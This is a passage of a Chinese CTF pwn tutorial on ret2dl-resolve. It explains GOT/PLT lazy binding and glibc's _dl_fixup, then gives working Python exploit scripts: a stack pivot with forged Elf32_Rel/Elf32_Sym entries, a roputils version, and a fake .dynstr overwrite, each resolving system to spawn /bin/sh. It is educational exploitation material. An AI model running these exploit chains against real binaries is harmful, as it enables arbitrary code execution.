您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關Linux pwn中針對函數重定位流程的幾種攻擊分別是什么,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
在之前的章節中,我們無數次提到過got表和plt表這兩個結構。這兩個表有什么不同?為什么調用函數要經過這兩個表?ret2dl-resolve與這些內容又有什么關系呢?本節我們將通過調試和“考古”來回答這些問題。
我們先選擇程序~/XMAN 2016-level3/level3
進行實驗。這個程序在main函數中和vulnerable_function中都調用了write函數,我們分別在兩個call _write
和一個call _read
上下斷點,調試觀察發生了什么。
調試 啟動后程序斷在第一個call _write
處
此時我們按F7跟進函數,發現EIP跳到了.plt表上,從旁邊的箭頭我們可以看到這個jmp指向了后面的push 18h; jmp loc_8048300
我們繼續F7執行到jmp loc_8048300發生跳轉,發現這邊又是一個push和一個jmp,這段代碼也在.plt上。同樣的,我們直接執行到jmp執行完,發現程序跳轉到了ld_2.24.so上,這個地址是loc_F7F5D010到這里,有些人可能已經發現了不對勁。剛剛的指令明明是jmp ds:off_804a008
,這個F7F5D010是從哪里冒出來的呢?其實這行jmp的意思并不是跳轉到地址0x0804a008
執行代碼,而是跳轉到地址0x0804a008
中保存的地址處。同理,一開始的jmp ds:off_804a018
也不是跳轉到地址0x0804a018
.OK,我們來看一下這兩個地址里保存了什么。
回到call _write
F7跟進后的那張圖,跟進后的第一條指令是jmp ds:off_804a018,這個地址位于.got.plt中。我們看到其保存的內容是loc_8048346,后面還跟著一個DATA XREF:_write↑r
. 說明這是一個跟write函數相關的代碼引用的這個地址,上面的有一個同樣的read也說明了這一點。而jmp ds:0ff_804a008
也是跳到了0x0804a008保存的地址loc_F7F5D010處。
回到剛剛的eip,我們繼續F8單步往下走,執行到retn 0Ch,繼續往下執行就到了write函數的真正地址現在我們可以歸納出call write的執行流程如下圖:然后我們F9到斷在call _read
,發現其流程也和上圖差不多,唯一的區別在于addr1和push num
中的數字不一樣,call _read
時push的數字是0接下來我們讓程序執行到第二個call _write
,F7跟進后發現jmp ds:0ff_804a018
旁邊的箭頭不再指向下面的push 18h
。我們查看.got.plt,發現其內容已經直接變成了write函數在內存中的真實地址。
由此我們可以得出一個結論,只有某個庫函數第一次被調用時才會經歷一系列繁瑣的過程,之后的調用會直接跳轉到其對應的地址。那么程序為什么要這么設計呢?
要想回答這個問題,首先我們得從動態鏈接說起。為了減少存儲器浪費,現代操作系統支持動態鏈接特性。即不是在程序編譯的時候就把外部的庫函數編譯進去,而是在運行時再把包含有對應函數的庫加載到內存里。由于內存空間有限,選用函數庫的組合無限,顯然程序不可能在運行之前就知道自己用到的函數會在哪個地址上。比如說對于libc.so來說,我們要求把它加載到地址0x1000處,A程序只引用了libc.so,從理論上來說這個要求不難辦到。但是對于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序來說,0x1000這個地址可能就被liba.so等庫占據了。因此,程序在運行時碰到了外部符號,就需要去找到它們真正的內存地址,這個過程被稱為重定位。為了安全,現代操作系統的設計要求代碼所在的內存必須是不可修改的,那么諸如call read一類的指令即沒辦法在編譯階段直接指向read函數所在地址,又沒辦法在運行時修改成read函數所在地址,怎么保證CPU在運行到這行指令時能正確跳到read函數呢?這就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,過程鏈接表)進行輔助了。
正如我們剛剛分析過的流程,在延遲加載的情況下,每個外部函數的got表都會被初始化成plt表中對應項的地址。當call指令執行時,EIP直接跳轉到plt表的一個jmp,這個jmp直接指向對應的got表地址,從這個地址取值。此時這個jmp會跳到保存好的,plt表中對應項的地址,在這里把每個函數重定位過程中唯一的不同點,即一個數字入棧(本例子中write是18h,read是0,對于單個程序來說,這個數字是不變的),然后push got[1]并跳轉到got[2]保存的地址。在這個地址中對函數進行了重定位,并且修改got表為真正的函數地址。當第二次調用同一個函數的時候,call仍然使EIP跳轉到plt表的同一個jmp,不同的是這回從got表取值取到的是真正的地址,從而避免重復進行重定位。
我們通過調試已經大概搞清楚got表,plt表和重定位的流程了,但是作為一名攻擊者來說,只了解這些東西并不夠。ret2dl-resolve的核心原理是攻擊符號重定位流程,使其解析庫中存在的任意函數地址,從而實現got表的劫持。為了完成這一目標,我們就必須得深入符號解析的細節,尋找整個解析流程中的潛在攻擊點。我們可以在https://ftp.gnu.org/gnu/glibc/
下載到glibc源碼,這里我用了glibc-2.27
版本的源碼。
我們回到程序跳轉到ld_2.24.so的部分,這一段的源碼是用匯編實現的,源碼路徑為glibc/sysdeps/i386/dl-trampoline.S(64位把i386改為x86_64),其主要代碼如下:
.text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function cfi_startproc .align 16 _dl_runtime_resolve: cfi_adjust_cfa_offset (8) pushl %eax # Preserve registers otherwise clobbered. cfi_adjust_cfa_offset (4) pushl %ecx cfi_adjust_cfa_offset (4) pushl %edx cfi_adjust_cfa_offset (4) movl 16(%esp), %edx # Copy args pushed by PLT in register. Note movl 12(%esp), %eax # that `fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. cfi_adjust_cfa_offset (-4) movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4(%esp), %eax ret $12 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve
其采用了GNU風格的語法,可讀性比較差,我們對應到IDA中的反匯編結果中修正符號如下_dl_fixup
的實現位于glibc/elf/dl-runtime.c
,我們首先來看一下函數的參數列表
_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif struct link_map *__unbounded l, ElfW(Word) reloc_arg)
忽略掉宏定義部分,我們可以看到_dl_fixup
接收兩個參數,link_map
類型的指針l對應了push進去的got[1]
,reloc_arg
對應了push進去的數字。由于link_map *
都是一樣的,不同的函數差別只在于reloc_arg
部分。我們繼續追蹤reloc_arg
這個參數的流向。
如果你真的閱讀了源碼,你會發現這個函數里頭找不到reloc_arg,那么這個參數是用不著了嗎?不是的,我們往上面看,會看到一個宏定義
#ifndef reloc_offset# define reloc_offset reloc_arg# define reloc_index reloc_arg / sizeof (PLTREL)#endifreloc_offset在函數開頭聲明變量時出現了。 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value;
D_PTR是一個宏定義,位于glibc/sysdeps/generic/ldsodefs.h中,用于通過link_map結構體尋址。這幾行代碼分別是尋找并保存symtab, strtab的首地址和利用參數reloc_offset尋找對應的PLTREL結構體項,然后會利用這個結構體項reloc尋找symtab中的項sym和一個rel_addr.我們先來看看這個結構體的定義。這個結構體定義在glibc/elf/elf.h中,32位下該結構體為
typedef struct{ Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */} Elf32_Rel;
這個結構體中有兩個成員變量,其中r_offset參與了初始化變量rel_addr,這個變量在_dl_fixup
的最后return處作為函數elf_machine_fixup_plt
的參數傳入,r_offset
實際上就是函數對應的got表項地址。另一個參數r_info參與了初始化變量sym和一些校驗,而sym和其成員變量會作為參數傳遞給函數_dl_lookup_symbol_x
和宏DL_FIXUP_MAKE_VALUE中,顯然我們必須關注一下它。不過首先我們得看一下reloc->r_info參與的其他部分代碼。
首先我們看到這么一行代碼
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
這行代碼用了一大堆宏,ELFW宏用來拼接字符串,在這里實際上是為了自動兼容32和64位,R_TYPE和前面出現過的R_SYM定義如下:
#define ELF32_R_SYM(i) ((i)>>8)#define ELF32_R_TYPE(i) ((unsigned char)(i))#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))所以這一行代碼取reloc->r_info的最后一個字節,判斷是否為ELF_MACHINE_JMP_SLOT,即7.我們繼續往下看 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
這段代碼使用reloc->r_info最終給version進行了賦值,這里我們可以看出reloc->r_info的高24位異常可能導致ndx數值異常,進而在version = &l->l_versions[ndx]時可能會引起數組越界從而使程序崩潰。
看完了這一段,我們回頭看一下變量sym, sym同樣使用了ELFW(R_SYM)(reloc->r_info)作為下標進行賦值。
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
Elfw(Sym)會被處理成Elf32_Sym,定義在glibc/elf/elf.h,結構體如下:
typedef struct{ Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */} Elf32_Sym;
這里面的成員變量st_other和st_name都被用到了
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { ……………… result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); ……………… }
這里省略了部分代碼,我們可以從函數名判斷出,只有這個if成立,真正進行重定位的函數_dl_lookup_symbol_x
才會被執行。ELFW(ST_VISIBILITY)會被解析成宏定義
位于glibc/elf/elf.h,所以我們得知這邊的sym->st_other后兩位必須為0。
我們可以看到傳入_dl_lookup_symbol_x
函數的參數中,第一個參數為strtab+sym->st_name,第三個參數是sym指針的引用。strtab在函數的開頭已經賦值為strtab的首地址,查閱資料可知strtab是ELF文件中的一個字符串表,內容包括了.symtab和.debug節的符號表等等。我們根據readelf給出的偏移來看一下這個表。
可以看到這里面是有read、write、__libc_start_main
等函數的名字的。那么函數_dl_lookup_symbol_x
為什么要接收這個名字呢?我們進入這個函數,發現這個函數的代碼有點多。考慮到我們關心的是重定位過程中不同的reloc_arg是如何影響函數的重定位的,我們在此不分析其細節。
_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map, const ElfW(Sym) **ref, struct r_scope_elem *symbol_scope[], const struct r_found_version *version, int type_class, int flags, struct link_map *skip_map) { const uint_fast32_t new_hash = dl_new_hash (undef_name); unsigned long int old_hash = 0xffffffff; struct sym_val current_value = { NULL, NULL }; ............. /* Search the relevant loaded objects for a definition. */ for (size_t start = i; *scope != NULL; start = 0, ++scope) { int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref, ¤t_value, *scope, start, version, flags, skip_map, type_class, undef_map); if (res > 0) break; if (__glibc_unlikely (res < 0) && skip_map == NULL) { /* Oh, oh. The file named in the relocation entry does not contain the needed symbol. This code is never reached for unversioned lookups. */ assert (version != NULL); const char *reference_name = undef_map ? undef_map->l_name : ""; struct dl_exception exception; /* XXX We cannot translate the message. */ _dl_exception_create_format (&exception, DSO_FILENAME (reference_name), "symbol %s version %s not defined in file %s" " with link time reference%s", undef_name, version->name, version->filename, res == -2 ? " (no version symbols)" : ""); _dl_signal_cexception (0, &exception, N_("relocation error")); _dl_exception_free (&exception); *ref = NULL; return 0; } ............... }
我們看到函數名字會被計算hash,這個hash會傳遞給do_lookup_x,從函數名和下面對分支的注釋我們可以看出來do_lookup_x才是真正進行重定位的函數,而且其返回值res大于0說明尋找到了函數的地址。我們繼續進入do_lookup_x,發現其主要是使用用strtab + sym->st_name計算出來的參數new_hash進行計算,與strtab + sym->st_name,sym等并沒有什么關系。對比do_lookup_x的參數列表和傳入的參數,我們可以發現其結果保存在current_value中。
do_lookup_x:static int__attribute_noinline__ do_lookup_x (const char *undef_name, uint_fast32_t new_hash, unsigned long int *old_hash, const ElfW(Sym) *ref, struct sym_val *result, struct r_scope_elem *scope, size_t i, const struct r_found_version *const version, int flags, struct link_map *skip, int type_class, struct link_map *undef_map) _dl_lookup_symbol_x:int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref, ¤t_value, *scope, start, version, flags, skip_map, type_class, undef_map);
至此,我們已經分析完了reloc_arg對函數重定位的影響,我們用下面這張圖總結一下整個影響過程:
我們以write函數為例進行調試分析,write的reloc_arg是0x18使用readelf查看程序信息,找到JMPREL在0x080482b0事實上該信息存儲在.rel.plt節里我們找到這塊內存,按照結構體格式解析數據,可知r->offset = 0x0804a018 , r->info=407,與readelf顯示的.rel.plt數據吻合。所以是symtab的第四項,我們可以通過#include<elf.h>
導入該結構體后使用sizeof算出Elf32_Sym大小為0x10,通過上面readelf顯示的節頭信息我們發現symtab并不會映射到內存中,可是重定位是在運行過程中進行的,顯然在內存中會有相關數據,這就產生了矛盾。通過查閱資料我們可以得知其實symtab有個子集dymsym,在節頭表中顯示其位于080481cc對照結構體,st_name是0x31,接下來我們去strtab找,同樣的,strtab也有個子集dynstr,地址在0804822c.加上0x31后為0804825d
通過一系列冗長的源碼閱讀+調試分析,我們捋了一遍符號重定位的流程,現在我們要站在攻擊者的角度看待這個流程了。從上面的分析結果中我們知道其實最終影響解析的是函數的名字,那么如果我們強行把write改成system呢?我們來試一下。我們強行修改內存數據,然后繼續運行,發現劫持got表成功,此時write表項是system的地址。那么我們是不是可以修改dynstr里面的數據呢?通過查看內存屬性,我們很不幸地發現.rel.plt. .dynsym .dynstr所在的內存區域都不可寫。這樣一來,我們能夠改變的就只有reloc_arg了。基于上面的分析,我們的思路是在內存中偽造Elf32_Rel和Elf32_Sym兩個結構體,并手動傳遞reloc_arg使其指向我們偽造的結構體,讓Elf32_Sym.st_name的偏移值指向預先放在內存中的字符串system完成攻擊。為了地址可控,我們首先進行棧劫持并跳轉到0x0804834B為此我們必須在bss段構造一個新的棧,以便棧劫持完成后程序不會崩潰。ROP鏈如下:
#!/usr/bin/python#coding:utf-8from pwn import * context.update(os = 'linux', arch = 'i386')start_addr = 0x08048350read_plt = 0x08048310write_plt = 0x08048340write_plt_without_push_reloc_arg = 0x0804834bleave_ret = 0x08048482pop3_ret = 0x08048519pop_ebp_ret = 0x0804851bnew_stack_addr = 0x0804a200 #bss與got表相鄰,_dl_fixup中會降低棧后傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯io = remote('172.17.0.2', 10001)payload = ""payload += 'A'*140 #paddingpayload += p32(read_plt) #調用read函數往新棧寫值,防止leave; retn到新棧后出現ret到地址0上導致出錯payload += p32(pop3_ret) #read函數返回后從棧上彈出三個參數payload += p32(0) #fd = 0payload += p32(new_stack_addr) #buf = new_stack_addrpayload += p32(0x400) #size = 0x400payload += p32(pop_ebp_ret) #把新棧頂給ebp,接下來利用leave指令把ebp的值賦給esppayload += p32(new_stack_addr) payload += p32(leave_ret) io.send(payload) #此時程序會停在我們使用payload調用的read函數處等待輸入數據payload = ""payload += "AAAA" #leave = mov esp, ebp; pop ebp,占位用于pop ebppayload += p32(write_plt_without_push_reloc_arg) #按照我們的測試方案,強制程序對write函數重定位,reloc_arg由我們手動放入棧中payload += p32(0x18) #手動傳遞write的reloc_arg,調用writepayload += p32(start_addr) #函數執行完后返回startpayload += p32(1) #fd = 1payload += p32(0x08048000) #buf = ELF程序加載開頭,write會輸出ELFpayload += p32(4) #size = 4 io.send(payload)
測試結果:我們可以看到調用成功了。我們發現其實跳轉到write_plt_without_push_reloc_arg上,還是會直接跳轉到PLT[0],所以我們可以把這個地址改成PLT[0]的地址。接下來我們開始著手在新的棧上偽造兩個結構體:
write_got = 0x0804a018 new_stack_addr = 0x0804a500 #bss與got表相鄰,_dl_fixup中會降低棧后傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯relplt_addr = 0x080482b0 #.rel.plt的首地址,通過計算首地址和新棧上我們偽造的結構體Elf32_Rel偏移構造reloc_argdymsym_addr = 0x080481cc #.dynsym的首地址,通過計算首地址和新棧上我們偽造的Elf32_Sym結構體偏移構造Elf32_Rel.r_infodynstr_addr = 0x0804822c #.dynstr的首地址,通過計算首地址和新棧上我們偽造的函數名字符串system偏移構造Elf32_Sym.st_namefake_Elf32_Rel_addr = new_stack_addr + 0x50 #在新棧上選擇一塊空間放偽造的Elf32_Rel結構體,結構體大小為8字節fake_Elf32_Sym_addr = new_stack_addr + 0x5c #在偽造的Elf32_Rel結構體后面接上偽造的Elf32_Sym結構體,結構體大小為0x10字節binsh_addr = new_stack_addr + 0x74 #把/bin/sh\x00字符串放在最后面fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr #計算偽造的reloc_argfake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #偽造r_info,偏移要計算成下標,除以Elf32_Sym的大小,最后一字節為0x7fake_st_name = new_stack_addr + 0x6c - dynstr_addr #偽造的Elf32_Sym結構體后面接上偽造的函數名字符串systemfake_Elf32_Rel_data = ""fake_Elf32_Rel_data += p32(write_got) #r_offset = write_got,以免重定位完畢回填got表的時候出現非法內存訪問錯誤fake_Elf32_Rel_data += p32(fake_r_info)fake_Elf32_Sym_data = ""fake_Elf32_Sym_data += p32(fake_st_name)fake_Elf32_Sym_data += p32(0) #后面的數據直接套用write函數的Elf32_Sym結構體,具體成員變量含義自行搜索fake_Elf32_Sym_data += p32(0)fake_Elf32_Sym_data += p32(0x12)
我們把新棧的地址向后調整了一點,因為在調試深入到_dl_fixup
的時候發現某行指令試圖對got表寫入,而got表正好就在bss的前面,緊接著bss,為了防止運行出錯,我們進行了調整。此外,需要注意的是偽造的兩個結構體都要與其首地址保持對齊。完成了結構體偽造之后,我們將這些內容放在新棧中,調試的時候確認整個偽造的鏈條正確,pwn it!
與32位不同,在64位下,雖然_dl_fixup
函數的邏輯沒有改變,但是許多相關的變量和結構體都有了變化。例如在glibc/sysdeps/x86_64/dl-runtime.c
中定義了
reloc_offset和reloc_index
#define reloc_offset reloc_arg * sizeof (PLTREL)#define reloc_index reloc_arg#include <elf/dl-runtime.c>
我們可以可以推斷出reloc_arg已經不像32位中是作為一個偏移值存在,而是作為一個數組下標存在。此外,兩個關鍵的結構體也做出了調整:Elf32_Rel升級為Elf64_Rela, Elf32_Sym升級為Elf64_Sym,這兩個結構體的大小均為0x18
typedef struct{ Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */} Elf64_Rela;typedef struct{ Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */} Elf64_Sym;
此外,_dl_runtime_resolve
的實現位于glibc/sysdeps/x86_64/dl-trampoline.h中,其代碼加了宏定義之后可讀性很差,核心內容仍然是調用_dl_fixup
,此處不再分析。
最后,在64位下進行ret2dl-resolve還有一個問題,即我們在分析源碼時提到但是應用中卻忽略的一個潛在數組越界:
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
這里會使用reloc->r_info
的高位作為下標產生了ndx,然后在link_map的成員數組變量l_versions中取值作為version。為了在偽造的時候正確定位到sym,r_info必然會較大。在32位的情況下,由于程序的映射較為緊湊, reloc->r_info的高24位導致vernum數組越界的情況較少。由于程序映射的原因,vernum數組首地址后面有大片內存都是以0x00填充,攻擊導致reloc->r_info的高24位過大后從vernum數組中獲取到的ndx有很大概率是0,從而由于ndx異常導致l_versions數組越界的幾率也較低。我們可以對照源碼,IDA調試進入_dl_fixup
后,將斷點下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。中斷后切換到匯編單步運行到movzx edx, word ptr [edx+esi*2]
一行觀察edx的值,此處為0x0804827c, edx+esi*2 = 0x08048284
,查看程序的內存映射情況一直到地址0x0804b000都是可讀的,所以esi,也就是reloc->r_info的高24位最高可以達到0x16c2,考慮到.dymsym與.bss的間隔,這個允許范圍基本夠用。繼續往下看
此時的edi = 0xf7fa9918,[edi+170h]保存的值為0Xf7f7eb08,其后連續可讀的地址最大值為0xf7faa000,因此mov ecx, [edx+4]一行,按照之前幾行匯編代碼的算法,只要取出的edx值不大于(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f,version = &l->l_versions[ndx];就不會產生非法內存訪問。仔細觀察會發現0x0804827c~0x0804b000之間幾乎所有的2字節word型數據都符合要求。因此,大部分情況下32位的題目很少會產生ret2dl-resolve在此處造成的段錯誤。
而對于64位,我們用相同的方法調試本節的例子~/XMAN 2016-level3_64/level3_64會發現由于我們常用的bss段被映射到了0x600000之后,而dynsym的地址仍然在0x400000附近,r_info的高位將會變得很大,再加上此時vernum也在0x400000附近,vernum[ELFW(R_SYM) (reloc->r_info)]將會有很大概率落在在0x400000~0x600000間的不可讀區域
從而產生一個段錯誤。為了防止出現這個錯誤,我們需要修改判斷流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]
為0,從而繞開這塊代碼。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(對應的,32位下為link_map+0xe4),所以我們需要泄露link_map地址并將link_map置為0
64位下的ret2dl-resolve與32位下的ret2dl-resolve除了上述一些變化之外,exp構造流程并沒有什么區別,在此處不再贅述,詳細腳本可見于附件。
理論上來說,ret2dl-resolve對于所有存在棧溢出,沒有Full RELRO(如果開啟了Full RELRO,所有符號將會在運行時被全部解析,也就不存在_dl_fixup
了)且有一個已知確定的棧地址(可以通過stack pivot劫持棧到已知地址)的程序都適用。但是我們從上面的64位ret2dl-resolve中可以看到其必須泄露link_map的地址才能完成利用,對于32位程序來說也可能出現同樣的問題。如果出現了不存在輸出的棧溢出程序,我們就沒辦法用這種套路了,那我們該怎么辦呢?接下來的幾節我們將介紹一些不依賴泄露的攻擊手段。
從上面32位和64位的攻擊腳本我們不難看出來,雖然構造payload的過程很繁瑣,但是實際上大部分代碼的格式都是固定的,我們完全可以自己把它們封裝成一個函數進行調用。當然,我們還可以當一把懶人,直接用別人寫好的庫。是的,我說的就是一個有趣的,沒有使用說明的項目ROPutils(https://github.com/inaz2/roputils)
這個python庫的作者似乎挺懶的,不僅不寫文檔,而且代碼也好幾年沒更新了。不過這并不妨礙其便利性。我們直接看代碼roputils.py,其大部分我們會用到的東西都在ROP*
和FormatStr這幾個類中,不過ROPutils也提供了其他的輔助工具類和函數。當然,在本節中我們只會介紹和ret2dl-resolve
相關的一些函數的用法,不做源碼分析和過多的介紹。
我們可以直接把roputils.py和自己寫的腳本放在同一個文件夾下以使用其中的功能。以~/XMAN 2016-level3/level4為例。其實我們會發現fake dl-resolve并不一定需要進行棧劫持,我們只要確保偽造的link_map所在地址已知,且地址能被作為參數傳入_dl_fixup
即可。我們先來構造一個棧溢出,調用read讀取偽造的link_map到.bss中。
from roputils import * #為了防止命名沖突,這個腳本全部只使用roputils中的代碼。如果需要使用pwntools中的代碼需要在import roputils前import pwn,以使得roputils中的ROP覆蓋掉pwntools中的ROProp = ROP('./level4') #ROP繼承了ELF類,下面的section, got, plt都是調用父類的方法bss_addr = rop.section('.bss')read_got = rop.got('read')read_plt = rop.plt('read')offset = 140io = Proc(host = '172.17.0.2', port = 10001) #roputils中這里需要顯式指定參數名buf = rop.fill(offset) #fill用于生成填充數據buf += rop.call(read_plt, 0, bss_addr, 0x100) #call可以通過某個函數的plt地址方便地進行調用buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr) #dl_resolve_call有一個參數base和一個可選參數列表*args。base為偽造的link_map所在地址,*args為要傳遞給被劫持調用的函數的參數。這里我們將"/bin/sh\x00"放置在bss_addr處,link_map放置在bss_addr+0x20處io.write(buf)然后我們直接用dl_resolve_data生成偽造的link_map并發送buf = rop.string('/bin/sh') buf += rop.fill(0x20, buf) #如果fill的第二個參數被指定,相當于將第二個參數命名的字符串填充至指定長度buf += rop.dl_resolve_data(bss_addr+0x20, 'system') #dl_resolve_data的參數也非常簡單,第一個參數是偽造的link_map首地址,第二個參數是要偽造的函數名buf += rop.fill(0x100, buf)io.write(buf)
然后我們直接使用io.interact(0)就可以打開一個shell了。關于roputils的用法可以參考其github倉庫中的examples,其他練習程序不再提供對應的roputils寫法的腳本。
在32位的ret2dl-resolve一節中我們已經發現,ELF開發小組為了安全,設置.rel.plt. .dynsym .dynstr三個重定位相關的節區均為不可寫。然而ELF文件中有一個.dynamic節,其中保存了動態鏈接器所需要的基本信息,而我們的.dynstr也屬于這些基本信息中的一個。更棒的是,如果一個程序沒有開啟RELRO(即checksec顯示No RELRO).dynamic節是可寫的。(Partial RELRO和Full RELRO會在程序加載完成時設置.dynamic為不可寫,因此盡管readelf顯示其為可寫也不可相信).dynamic節中只包含Elf32/64_Dyn結構體類型的數據,這兩個結構體定義在glibc/elf/elf.h下
typedef struct{ Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn;typedef struct{ Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn;
從結構體的定義我們可以看出其由一個d_tag和一個union類型組成,union中的兩個變量會隨著不同的d_tag進行切換。我們通過readelf看一下.dynstr的d_tag其標記為0x05,union變量顯示為值0x0804820c。我們看一下內存中.dynamic節中.dynstr對應的Elf32_Dyn結構體和指針指向的數據。
因此,我們只需要在棧溢出后程序中仍然存在至少一個未執行過的函數,我們就可以修改.dynstr對應結構體中的地址,從而使其指向我們偽造的.dynstr數據,進而在解析的時候解析出我們想要的函數。
我們以32位的程序為例,打開~/fake_dynstr32/fake_dynstr32這個程序滿足了我們需要的一切條件——No RELRO,棧溢出發生在vuln中,exit不會被調用,因此我們可以用上述方法進行攻擊。首先我們把所有的字符串從里面拿出來,并且把exit替換成system
call_exit_addr = 0x08048495 read_plt = 0x08048300 start_addr = 0x08048350 dynstr_d_ptr_address = 0x080496a4 fake_dynstr_address = 0x08049800 fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"
注意由于memset的一部分也會被system覆蓋掉,我們應該把剩余的部分設置為\x00,防止后面的符號偏移值錯誤。memset由于是在read函數運行之前運行的,所以它的符號已經沒用了,可以被覆蓋掉。
接下來我們構造ROP鏈依次寫入偽造的dynstr字符串和其保存在Elf32_Dyn中的地址。
io = remote("172.17.0.2", 10001) payload = ""payload += 'A'*22 #paddingpayload += p32(read_plt) #修改.dynstr對應的Elf32_Dyn.d_ptrpayload += p32(start_addr) payload += p32(0) payload += p32(dynstr_d_ptr_address) payload += p32(4) io.send(payload)sleep(0.5) io.send(p32(fake_dynstr_address)) #新的.dynstr地址sleep(0.5) payload = ""payload += 'A'*22 #paddingpayload += p32(read_plt) #在內存中偽造一塊.dynstr字符串payload += p32(start_addr) payload += p32(0) payload += p32(fake_dynstr_address) payload += p32(len(fake_dynstr_data)+8) #長度是.dynstr加上8,把"/bin/sh\x00"接在后面io.send(payload)sleep(0.5) io.send(fake_dynstr_data+"/bin/sh\x00") #把/bin/sh\x00接在后面sleep(0.5)
此時還剩下函數exit未被調用,我們通過前面的步驟偽造了.dynstr,將其中的exit改成了system,因此根據_dl_fixup
的原理,此時函數將會解析system的首地址并返回到system上。64位下的利用方式與32位下并沒有區別,此處不再進行詳細分析。
由于各種保護方式的普及,現在能碰到No RELRO的程序已經很少了,因此上節所述的攻擊方式能用上的機會并不多,所以這節我們介紹另外一種方式——通過偽造link_map結構體進行攻擊。
在前面的源碼分析中,我們主要把目光集中在未解析過的函數在_dl_fixup的流程中而忽略了另外一個分支。
_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif struct link_map *l, ElfW(Word) reloc_arg) { ………… //變量定義,初始化等等 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判斷函數是否被解析過。此前我們一直利用未解析過的函數的結構體,所以這里的if始終成立 ………… result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); ………… } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } ………… }
通過注釋我們可以看到之前的if起的是判斷函數是否被解析過的作用,如果函數被解析過,_dl_fixup就不會調用_dl_lookup_symbol_x
對函數進行重定位,而是直接通過宏DL_FIXUP_MAKE_VALUE計算出結果。這邊用到了link_map的成員變量l_addr和Elf32/64_Sym的成員變量st_value。這里的l_addr是實際映射地址和原來指定的映射地址的差值,st_value根據對應節的索引值有不同的含義。不過在這里我們并不需要關心那么多,我們只需要知道如果我們能使l->l_addr + sym->st_value指向一個函數的在內存中的實際地址,那么我們就能返回到這個函數上。但是問題來了,如果我們知道了system在內存中的實際地址,我們何苦用那么麻煩的方式跳轉到system上呢?所以答案是我們不知道。我們需要做的是讓l->l_addr和sym->st_value其中之一落在got表的某個已解析的函數上(如__libc_start_main
